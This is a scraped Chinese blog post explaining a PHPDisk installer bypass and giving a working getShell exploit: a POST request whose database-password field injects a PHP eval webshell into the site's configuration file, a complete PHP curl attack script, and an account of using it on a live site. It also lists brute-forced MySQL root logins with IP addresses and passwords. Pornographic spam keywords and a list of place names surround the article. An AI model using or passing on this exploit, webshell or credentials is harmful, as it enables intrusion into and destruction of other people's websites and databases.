最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

phpdisk 漏洞發(fā)布 phpdisk header bypass & getShell exp解析

  發(fā)布時(shí)間:2012-06-27 14:25:13   作者:佚名   我要評(píng)論
PHPDISK網(wǎng)盤系統(tǒng)是國內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(文件存儲(chǔ)管理)系統(tǒng),筆者對(duì)其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東
Author:Yaseng Team:CodePlay
1:代碼審計(jì)
PHPDISK網(wǎng)盤系統(tǒng)是國內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(文件存儲(chǔ)管理)系統(tǒng),筆者對(duì)其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東…..
 
圖一
 圖一為install下面的index.php,程序安裝文件??瓷掀鸷苷5拇a,當(dāng)系統(tǒng)安裝時(shí),生成一個(gè)鎖定文件,再次執(zhí)行install時(shí)判斷,這里他用了一個(gè)Header,而木有exit 。然而php中header 跳轉(zhuǎn)之后代碼還是向后執(zhí)行,可以直接post 數(shù)據(jù)過去,再來看這個(gè)文件 。 


圖二
安裝流程全部靠$step,而step 又可以靠POST 控制。 繼續(xù)找可以利用之處

復(fù)制代碼
代碼如下:

$str = "<?php".LF.LF;
$str .= "http:// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;
$str .= "\$configs = array(".LF.LF;
$str .= "\t'dbhost' => '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
exit("Can not open file <b>$config_file</b> .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "<font color=blue>{$config_file} ".__('write_success')."</font>";
}else{
吧post 數(shù)據(jù)寫入配置文件configs.inc.php,可以利用之,繼續(xù)目測(cè)之。
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}

哈哈,為了安裝方便,竟然去掉了gpc,這下可以直接寫入木馬了。
2:漏洞利用& getShell 方法
查找寫入配置的地方
 
復(fù)制代碼
代碼如下:

$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);
 

驗(yàn)證是否可以連接,錯(cuò)誤的數(shù)據(jù)庫信息直接退出哦了,看來不能亂寫了,只能在dbpasswd 上面下功夫。
 首先yy一下system 下的configs.inc.php 文件
 'dbpasswd' => '',);?><?php eval($_POST['y']);?>',
就可以直接 菜刀連接之
 
由于沒有萬惡的gpc 直接POST一個(gè)'dbpasswd' = '',);?><?php eval($_POST['y']);?>'
 
也就是此時(shí)的密碼為: ',);?><?php eval($_POST['y']);?>
 
此時(shí)需要post的 數(shù)據(jù)包為:
 
$pass='\',);?><?php eval($_POST[\'y\']);?>';
 
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
 
當(dāng)數(shù)據(jù)庫信息正確時(shí),成功寫入一句話木馬.
 

 
圖四
 成功寫入shell
 3:getShell exp 編寫
 結(jié)束yy,我們來用php 中強(qiáng)大的curl exp,前文我們已然構(gòu)造出post 傳送的數(shù)據(jù)。然后在根據(jù)特征檢測(cè)是否getShell ,具體代碼如下(完整exp 見附件)。
 
復(fù)制代碼
代碼如下:

$site = $argv[1]; //傳入的 網(wǎng)站
$url= $site."/install/index.php";
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //發(fā)送post 數(shù)據(jù)
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //檢測(cè)是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}

4:實(shí)戰(zhàn)演示
 其實(shí)這種拿shell 方式是極其缺德,破壞configs.inc.php,導(dǎo)致全站崩潰,俺找了個(gè)比較新的站點(diǎn)(目測(cè)沒什么人) 主啊 原諒我吧 …… 實(shí)戰(zhàn)一番.
找外連數(shù)據(jù)庫啊.菜刀里面找了x個(gè)shell 皆不能外聯(lián),干 向朋友要了個(gè)mysql root 爆破工具,爆破了一批root 。
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.252 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.253 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.250 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.251 root passwd
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.254 root password
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.252 root root123456
進(jìn)入數(shù)據(jù)庫成功... 98.126.4.253 root root123456  
 
 
隨便找了個(gè),本地adminer(一個(gè)單文件php MySQL管理客戶端) 進(jìn)去改密碼,此時(shí)發(fā)送的data為(如果不行 請(qǐng)大家自行更換可外鏈的mysql)
 $pass='\',);?><?php eval($_POST[\'y\']);?>';
 $data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
 Php命令行下執(zhí)行php phpdisk.php 
 
Done,成功寫入,菜刀連接。


 
Ko ?。?!
 4:總結(jié)
 本文是Header直接跳轉(zhuǎn)導(dǎo)致繞過的典型文章,php函數(shù)使用強(qiáng)大而簡單,同時(shí)我們不得不謹(jǐn)慎使用如header,preg_replace,eval 之類的危險(xiǎn)函數(shù),以免被非法利用。

相關(guān)文章

最新評(píng)論

扬中市| 福建省| 抚顺县| 定襄县| 孟村| 从江县| 平邑县| 柳河县| 昌黎县| 临朐县| 化隆| 南雄市| 阿克| 淅川县| 农安县| 沾化县| 托克逊县| 贡山| 江陵县| 雷山县| 水城县| 临夏市| 陈巴尔虎旗| 射洪县| 新源县| 七台河市| 犍为县| 万宁市| 修文县| 塔河县| 肇州县| 汶上县| 丽水市| 江西省| 广东省| 瑞金市| 虎林市| 航空| 武宣县| 得荣县| 东明县|